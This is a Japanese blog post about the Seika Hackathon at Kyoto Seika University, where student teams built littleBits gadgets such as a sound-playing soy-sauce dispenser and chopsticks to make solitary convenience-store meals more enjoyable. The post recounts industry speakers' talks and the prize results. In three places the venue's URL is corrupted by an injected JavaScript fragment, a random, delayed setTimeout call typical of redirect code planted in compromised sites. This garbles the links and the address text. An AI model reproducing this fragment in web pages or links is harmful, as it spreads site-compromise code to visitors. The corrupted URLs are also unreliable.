
こんにちは、ユキガオ(@yukigao_22)です。
突然ですが、あなたは毎日の食卓に満足していますか?
- 毎日一人で食べていてつまらない…
- いつもコンビニ飯で味気ない!
忙しく動き回る人や、一人暮らしで頑張る学生さんはとくに、寂しい食卓になりがちなのでは?
でも、もしそんな食卓を楽しくできるアイテムがあったらどうでしょう?
そこで今回、「食卓を楽しくするためのアイデア」を出し合うイベントセイカハッカソンに潜入!
そこで出てきたアイデアやお話は、きっとあなたの食卓を楽しくしてくれるはずです。
セイカハッカソンとは?

セイカハッカソンてなんなの?
京都精華大学の学生たちが集まってアイデアを出し合うイベントだよ!
今回で3回目を迎えるセイカハッカソン。ホームページにはこうあります。
マンガ、デザイン、芸術、音楽、ファッション…
ここまで色んな表現分野があるのは、京都精華大学ならではの隠れた特色。
セイカハッカソン、今回も様々な表現分野のコラボをセイカ生のみんなと大実験!!
チームに分かれ、2日間で企画アイデアから、作品製作、発表までをやっちゃいます!
そもそもハッカソンというのは
- ハッカソン=Hack(物事を改善する)+Marathon(マラソン)
という造語。様々な専門家たちがアイデアを持ち寄り、一定期間でサービスやシステムを開発するイベントのことを指します。
それを、京都精華大学の特性(アート、デザイン)を生かしたのが、このセイカハッカソン。
普通のハッカソンと何が違うの?
技術面より、「表現する」ことに重点を置いたハッカソンなの!
様々なテーマに対し、littleBitsやProccessingといった機械(プログラミング)を使ってアイデアを具現化し、プレゼンするというこのイベント。
そこでは、高度な技術より「いかに面白いアイデアか」が競われるんです。
主催者は京都精華大学・フジモトリオさん
今回の主催者は、フジモトリオさん。

なんともタイミングのいいめばちこ(ものもらい)が…
以前、塩谷舞さんのイベントで知り合った、精華大学のデジタルクリエイションコース3回生です。
とっても真面目でほんわかした雰囲気の、愛されキャラ。
フジモトさんから声をかけてもらい、イベントに潜入しました!

懸命にlittlebitsの説明をするフジモトさん
会場は「andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andco.jp/lounge/kyoto/” target=”_blank” rel=”noopener”>THE WORLD LOUNGE Co&Co KYOTO」

カフェも併設した、オシャレな空間が広がっています
今回の会場、入ってびっくりしたのがそのオシャレさ!
- コワーキングスペース
- カフェ
- 英会話スクール
などなど、いろんな用途に使えるオープンスペースです。
阪急烏丸駅・地下鉄四条駅から徒歩1分というアクセスの良さも魅力。
THE WORLD LOUNGE Co&Co KYOTO
住所:京都市中京区烏丸通錦小路上ル手洗水町670番地 京都フクトクビル2F
電話番号:075-253-6001
ホームページ:andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andco.jp/lounge/kyoto/” target=”_blank” rel=”noopener”>http://coandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andco.jp/lounge/kyoto/
スポンサー企業からの協賛も

なんとこのイベント、ただの大学生主催企画なわけではありません。
企業からの協賛を得て開催しているイベントなんです。
それがこちら。(敬称略)
どの企業も面白いことを追求しているところばかり。
さらに、私とフジモトさんが知り合うキッカケとなった塩谷舞さんも協賛!
期待度の高さが伺えるイベントです。
テーマは「食卓を楽しくする」
そんな今回のセイカハッカソンのテーマはこちら。

みんなで食卓を楽しくする、今までにない新しいアイデア
このテーマは、主催者フジモトさんが
一人で深夜に帰宅して食べるコンビニご飯、もっと楽しくならないかな?
と考えたことがキッカケなんだとか。
- 暗い部屋
- 「温め直して食べる」という行為の寂しさ
- ひとりで食べる寂しさ
一人暮らしの大学生が忙しい毎日の中でこういう食事になってしまうのは、仕方のないこと。
だったらそれをアイデアの力で楽しくできないかな?
ということで、チームに分かれて「コンビニ弁当を楽しく食べるためのアイデア」をプレゼンしてもらいます。
1日目:インプットトーク〜中間発表

まず1日目は、企画の説明から中間発表まで。
その間に
- インプットトーク
- ブレーンストーミング
- 個人アイデア発表
- チーム分け
- チームでのアイデア出し
といったことが行われます。
そして最初のインプットトークが、このイベントだけでなく「今後のものづくり」についても非常に役に立つものでした!
インプットトーク
アイデアを出し合う前に、「食」に関係するお仕事をなさっている3名の方々からお話を伺います。
まず、熊野 森人さん(株式会社ゆっくりおいしいねむたいな 代表取締役)

京都精華大学で、ビジュアルデザイン学科の非常勤講師もなさっている熊野さん。
ご自身の会社『ゆっくりおいしいねむたいな』のホームページにはこう書かれています。
「ゆっくりおいしいねむたいな」は、
快適な食時間をデザインする会社です。
たとえば、高級料理をひとりで食べることと、みんなでコンビニ弁当を食べること、どっちが「美味しい食事」に感じるでしょうか?
食べ物のクオリティは圧倒的に高級料理の方が高い。
でも、みんなでコンビニ弁当を食べる時間って楽しくて幸せだったりしませんか?
熊野さんは、そんな食時間について、商品やサービスを開発されています。
つづいて、田中 淳士さん(株式会社 食一 代表取締役)

もともと漁師の家育ちだという田中さんは現在、魚の卸業を営んでいらっしゃいます。
『食一』さんでは、普通だったら値がつかないような変わった魚を卸して流通させ、漁師さんたちに利益還元できる仕組みを作ってるんだそう。
実際に田中さんが漁場へ足を運び、見たこともないような魚たちが捨てられてしまうところを目撃。
その魚をもらって食べてみたところ、「美味しい!」と思ったのが今のビジネスのキッカケになったんだとか。
最後は、藤田 大次郎さん(株式会社 北海道グリーバルリンクス 取締役)

このイベントを開催しているandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andco.jp/lounge/kyoto/” target=”_blank” rel=”noopener”>THE WORLD LOUNGE Co&Co KYOTOの代表であり、京都精華大学の非常勤講師。
一方で日本茶の商品開発をやっているという藤田さんは、「日本人のアイデンティティでもある日本茶やお米についてきちんと説明できる人が少ないのはもったいない」と言います。
日本茶生産の背景なども伝わるような飲食店を作りたいという思いがあるんだそう。

そんな三名の方のインプットトークテーマは、大きく3つ。
- 今の活動をはじめた理由
- これから求めらる食とは
- 参加者へのアドバイス
それぞれ違った方向から「食」というものに向き合う3名だからこそのクロストークです。

さっそくですが、みなさんの活動内容を教えてもらえますか?

レストランのメニュー開発やブランディングのお手伝いをしています。
また、どうしたらもっと簡単に美味しいものが食べられるようになるかを探しています。
インスタント食品ということではなく、流通などの技術革新でね。
時間をかけることが必ずしも「美味しい」の正解とは限りません。

「三島オコゼ」とか「エチオピア」という魚をご存知ですか?
僕はそういう変わった魚、だけど美味しい魚を料理屋さんなどに卸す仕事をしています。
浜値の10倍という固定価格で買い取ることにより、漁師さんたちに利益が出るようにしてるんです。

この中で、「日本茶に詳しいよ」という人はいますか?
ほとんどいませんよね。日本茶って日本人のアイデンティティなのに、学校の授業では習わない。
お茶農家はほとんどが兼業なんですが、こういう背景も含めた日本茶のストーリーを消費者に伝える飲食店を作りたいと思っています。

田中さん、藤田さんは普通の人が見つけないようなものに目をつけたんですよね。そのキッカケは?

僕は大学四回生のときに休学して、事業を立ち上げました。
だけどあるとき事業で行き詰まり、九州・四国の漁港を一ヶ月、車で回ることにしたんです。
車で港に寝泊まりして、水揚げのときに声をかけて突撃で漁船に乗らせてもらったり。
そしたら、見たことない魚が捨てられていて。その魚をもらって自分でさばいて食べたら美味しかったんです。
それを京都の料理屋さんで食べてもらったのが始まりですね。

私はもともとコーヒーが苦手だったんですが、前職の頃、商談をしていたらコーヒーばかり出てきて…
一日10杯飲んで胃が荒れたこともあり、「こういう場で日本茶が出てきたらいいのにな」と思ったんです。
今って均質なものばかりが流通して、ペットボトルのお茶が流行してますよね。で、この現状はいつか変わるだろうと。それなら自分が変えよう、と思ったんです。
お茶屋さんを探しては突撃訪問し、試飲する…ということを繰り返しました。

両社とも背景にあるストーリーが共感を生んで盛り上がったのでは?
今後はどんな技術的なものも、背景にストーリーがなければ「いいね」にはつながらない。
実体験やストーリーが作品に反映されていることが重要ではないか、と。

では「これから求められる食」についてお伺いします。
食事を短時間で済ませようという流れは止められないと思うのですが、どうお考えですか?

時短や合理化の流れは止められないでしょう。
ただ、短縮した時間を何にあてるんでしょうか?趣味?
食べることや繋がること(人間の本能)を害してまでやりたいことって何だ?って思うんです。
なので、日本人はこれから疲弊していってもっと原始的になるのではないかと考えています。勝ち負けの概念で語られる時代は終わる。
テクノロジーでいうと、視聴覚は20世紀的なんですよね。今後100年は、嗅覚・触覚・味覚が発展していくんじゃないでしょうか。
味覚は食べる・交わる以外に感じられないこと。でもそれは本人以外に確かめようがない。
それを違う共感値で捉えられたら面白いなと思います。

僕は、「食を通じて社会を豊かに」という理念のもとに仕事をしています。
もし食が楽しくなかったら、人は生きていけるんでしょうか?
仕事も食も楽しみたい。たとえば、変わった魚が料理に出てきたら会話が広がるし、楽しんで満足してもらえます。
食べたものが美味しかったかどうかだけでなく、そこで食べたという経験が満足度につながるんです。
今後は漁師もやっていきたいですね。
その漁船をつかって婚活するみたいな、面白いことを企画していきたい。

以前、ゼリーそうめんというものを作ったんです。

そうめんって普通、両手を使わないと食べられないですよね?でもその行為を変えるため、片手で食べられるそうめんを作ってみた。
ゼリー状のめんつゆにそうめんをまぜて固めるんです。それを一口で食べる。
そうすると、口の中ではそうめんを食べてる感覚になるわけです。でも普段と違う経験として残る。
そういったことが、これから求められるんじゃないかと思うんです。

食事って自分で作れるし、もっと消費者がわがままになれるものなんですよね。
流通にわがままを通すと社会が疲弊するけど、食はわがままをやりたい放題やれる分野。
だけど情報が少なくてわがままの通し方がわからない。それを助けるデバイスがあるといいんじゃないかと思います。

「めんどくさいことを解決したい」という思いが原動力になるのでは?

そうですね。スタートアップの代表は、「これあったらいいのに!」という原動力を持っているかどうかで発展の仕方が変わります。

あと、「自分が好きすぎるもの」には力がありますよね。

では最後に、セイカハッカソン参加者へアドバイスをいただけないでしょうか?

自分の経験の中でも、特に強いものが人を動かします。それが共感を得て、応援してもらえるんです。
お金がなかったときに始めたこと(今の事業)が9年続いたのは、想いや環境があったからこそ。
みなさんにも、想いを持ってものを作ってほしいですね。

売れる売れないは考えなくていい。売れるものって、平均的になりがちなので。
飛び抜けたもの、どフェチなものでいい。大人がひよって作れないような、今だからこそ作れるものを作ってほしいです。

今回のようにチームでやるメリットは、お互いの考えに対して色々な側面から意見もらえるという点です。
ただ大人に意見を聞いても、自分の経験をきれいに整理することに長けてるから面白くない(笑)
あくまで情報の一つとして大人の意見も活用するといいですよ。
心を解放して取り組んでください!
食に関するブレーンストーミング

インプットトークに刺激を受けた後は、食に関するアイデアを出し合います。
まずは個人で考えたことをどんどん書き出すブレーンストーミング。
テーマはこの3つ。
- 食卓の機能
- エモ味(エモーショナルな味)
- 身近な食問題
参加者がそれぞれに感じている「食」について、ふせんにどんどん書き出していきます。


一通り出し切ったら、他のテーブルを回ってみたり。

自分にはない発想を知る、いい機会です。
それぞれの「コンビニ弁当を美味しくする方法」

アイデアを出し切った後は、いよいよ作品作りに向けてアイデアをまとめる段階へ。
チームでアイデア出しをする前に、個人で出したアイデアを書き出します。
その中から投票で上位になったアイデアを、各チームで担当して具現化させていくのです。

各々のアイデアを貼り出します
そうして出たアイデアの中から、こちらの5つのアイデアチームが生まれました。
- ふたを開けたら「おいしそうエフェクト」のかかるお弁当箱
- SNS映えする光る!鳴る!擬音ステッカー
- 音がなるお箸
- コンビニ袋ならぬコンビニ服
- SHOW YOU MUSIC
…なにこれ
ア、アイデアの種だから!ここから形になるんだよ!
(それにしても謎すぎる名前ばかりだな…)
チームアイデア中間発表

チームに分かれた後は、リーダーやメンターの元、アイデアを具体化していきます。
今回使うlittleBitsというのは、音や圧力などを取り込むセンサーを使って、ものを動かしたり光らせたりすることができるツール。

littleBits
子供の頃のおもちゃ作りを思い出して、ちょっとワクワクしますね。
だけどアイデアを形にしようと思うと、littleBitsの性能や時間、コストの面でたくさんの制約がかかります。
それでも必死にアイデアを出し合い、各チームのアイデアの中間発表へ。

まずは、音が鳴るお箸「ナルハシ」(チームWEFT)の発表。
これは、ものを掴んだりはなしたりする際に、ランダムで効果音がなるというアイデア。
腕や手にセンサーをつけて、圧力を検知したらスピーカーから音が出るというものです。

つづいては、「コンビニ服」(チームSUIEI)のアイデア。
もともとはコンビニの袋の代わりの服…というようなイメージだったものの、ちょっと方向転換。
「ハイジの幻想を抱く女子向けのランチョンマット兼エプロン」になるようです。
エプロンに仕込んだ圧力センサーでハイジっぽい音を出すんだとか。

こちらはチームソイソースによる「SHOW YOU MUSIC」の発表。
一見ただの醤油差しですが、食卓が沈黙に包まれるとランダムで音を鳴らしてくれるんだそう。
マイクで周囲の音を拾い、ワイヤレススピーカーで醤油差しから音を出す仕組みです。

「おいしそうに見えるエフェクト」を発表してくれたのは、チームエフェクト。
持ち運び可能なランチョンマットに、インスタ映えを狙ったライトと匂いを届けるためのファンがついています。
マットにお弁当を置くと圧力センサーが反応し、ライトがついたりファンが回ります。

最後は「擬音ステッカー」についてアイデアをまとめたチーム。
チーム名から「さくっフワッもちっジュワ〜」という擬音入り。フタを開けると音が鳴るお弁当箱です。
「シークレットトラック的に、擬音ではなく誰かの会話を流す」というおもしろアイデアも。
2日目:制作〜結果発表

2日目は、前日にまとめたアイデアのもと、必要な道具を買い揃えて制作。
その審査結果は…?
最優秀賞:SHOW YOU MUSIC

周囲の音がなくなると、音を鳴らしてくれる醤油差しが最優秀賞となりました。
アイデアもさることながら、実装における完成度の高さも高評価。
発想賞:ナルハシ

腕に装着するデバイスにより、箸でものを掴んだりはなしたりした時に音が鳴ります。
ちょっと食べにくそうだけど…アイデアはとても素晴らしい。
表現賞:デリシャスマット

お弁当を置くと「おいしそうに見えるエフェクト」がかかるランチョンマットが、表現賞を獲得。
今流行りのインスタ映えがうまく実現されています。
技術賞:光るし鳴っちゃう擬音ステッカー

お弁当の蓋を開けると、外の光をセンサーが感知して音が鳴るという擬音ステッカーを使ったアイデア。
揚げ物を揚げる音で、おいしそうな感じを演出します。
プレゼン賞:よろれいひ

プレゼンテーションがとても上手く、アイデアの世界観を表現できたチームSUIEIがプレゼン賞を受賞。
アルプスの少女ハイジの世界を表したエプロンがとっても可愛い。不思議な世界観が生まれています。
アイデア次第で食卓は楽しくなる

「アイデアのパワーってすごいな」
それが、このイベントに潜入して抱いた率直な感想です。
食べるもの・食べる時間・誰と食べるのか…簡単には変えられない状況のもとでも、アイデア次第で楽しめるようになる。
今回のイベントではlittleBitsなどの装置を使っていますが、もちろんそういうツールがなくても「楽しくする方法」を考えることってすごく大事だな、と。
また食卓に限らず、私たちが何気なく送っている日常の中で、そういうシーンはたくさんあります。
- なんとなくつまらないなぁ
- ちょっと寂しいなぁ
普段の生活に現れるそんなシーンに、アイデアの力って絶大。
もし今の食卓や生活に満足していなかったら、「楽しくするための方法」を考えてみてください。
そしてその際には、このセイカハッカソンで生まれたアイデアたちを参考にしてみてください。
これから無限の可能性を秘めた大学生たちのパワフルで突拍子もないアイデアは、いろんな人の生活をハックしてくれると思いますよ!
ユキガオ
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